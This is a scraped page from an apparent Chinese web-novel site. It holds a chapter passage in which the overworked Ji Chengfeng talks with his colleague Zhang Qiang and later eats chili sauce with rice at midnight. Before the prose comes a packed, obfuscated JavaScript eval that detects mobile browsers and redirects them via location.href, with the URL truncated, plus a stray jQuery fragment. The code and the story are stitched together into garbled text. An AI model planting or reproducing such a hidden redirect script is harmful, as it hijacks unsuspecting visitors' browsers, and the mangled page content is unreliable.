;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357955|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,买个礼物补偿补偿吧。” 张强无奈地叹了口气:“你说这一天天的到底是为了什么啊,赚点钱,起早贪黑的,天天连我亲爱的女儿都见不到一面。” 纪乘风笑了一下,“强哥换个工作吧,不是说有个企业想挖你去融资部么?怎么不去那边?” 张强摇了摇头:“轻松是轻松,但没这里赚得多,我上有老下有小的,要用钱的地方多着呢。” 他说着想到了什么,又问纪乘风,“风啊,你要不要去那,那边肯定舒服多了,最起码能准点下班。” 纪乘风哼笑了一声,烟瘾又有点上来了,他手摸到了口袋里,“强哥,说出来不怕你笑话,我有时候觉得上班强度这么大挺好的,天天不是上班就是睡觉,什么都不用想。” 张强听不懂,一头雾水地看着纪乘风。 纪乘风没把话说太开,他其实是怕自己脑子一旦空下来就会想一些不该想的。 他说起来还是挺惜命的。 “行了,我去抽根烟,你先去会议室给我占个座吧,离那傻逼远点的地方,省得他乱点名。”纪乘风掏出烟往会议室走。 “好。”张强应了声,他看着纪乘风高瘦的背影,心里挺不是滋味的。 他比纪乘风大不了多少岁,可能是因为已经成家了的原因,两人之间还是有挺多代沟的。 不知道为什么,张强总能从纪乘风身上感受到一点自暴自弃的颓废感,不拿自己身体当回事,总是毫无所谓地嘻嘻笑着说:得病了就去死。 张强甚至都怀疑,这人加班这么卖力,根本就是在故意消耗自己的身体…… 张强摇了摇头,觉得自己这个想法实在是太可怕了。 纪乘风的生活如他所愿的很快就恢复到了正常,一切什么都没有改变,他上班下班,每天回家就是洗澡上床睡觉。 是一滩死水一样的日子。 他几乎都快忘了小骗子这样一个人,直到有一天他去厨房拿酒喝,看到那桌子上摆放着两瓶桔子罐头装着的剁辣椒酱。 全新的,都还没有拆封。 纪乘风微微一愣,想起来那个小骗子说,剁辣椒酱拌饭他都能吃两碗。 正好纪乘风还没有吃晚饭,他已经养成了太晚下班就不吃晚饭的习惯了,全靠烟酒填饱肚子。 纪乘风突然就有了一点食欲,他很想知道,这剁辣椒酱到底是有多好吃。 然后晚上十一点半,已经洗完澡了的纪乘风开始在厨房里淘米煮饭…… 等饭煮上之后,他才有点后知后觉地反应过来。 不是?他有病啊?大晚上煮饭,就是为了拌剁辣椒酱吃? 纪乘风沉着脸,看着电饭煲上转动的煮饭指示灯,面无表情地想:算了,煮就煮了吧,总不能浪费。 硬生生等了半个小时,给等到了十二点,纪乘风格外心酸地开了一瓶剁辣椒酱罐头……开始吃他的拌饭。 别说,还真挺好吃的,这玩意跟外面买的不一样,里头确实有一股酒香,里面的辣椒油和豆豉拌着热饭,别有一番风味。 辣辣咸咸的,还特别香。 纪乘风还真就着这酱吃完了一碗光饭。 真香。 …………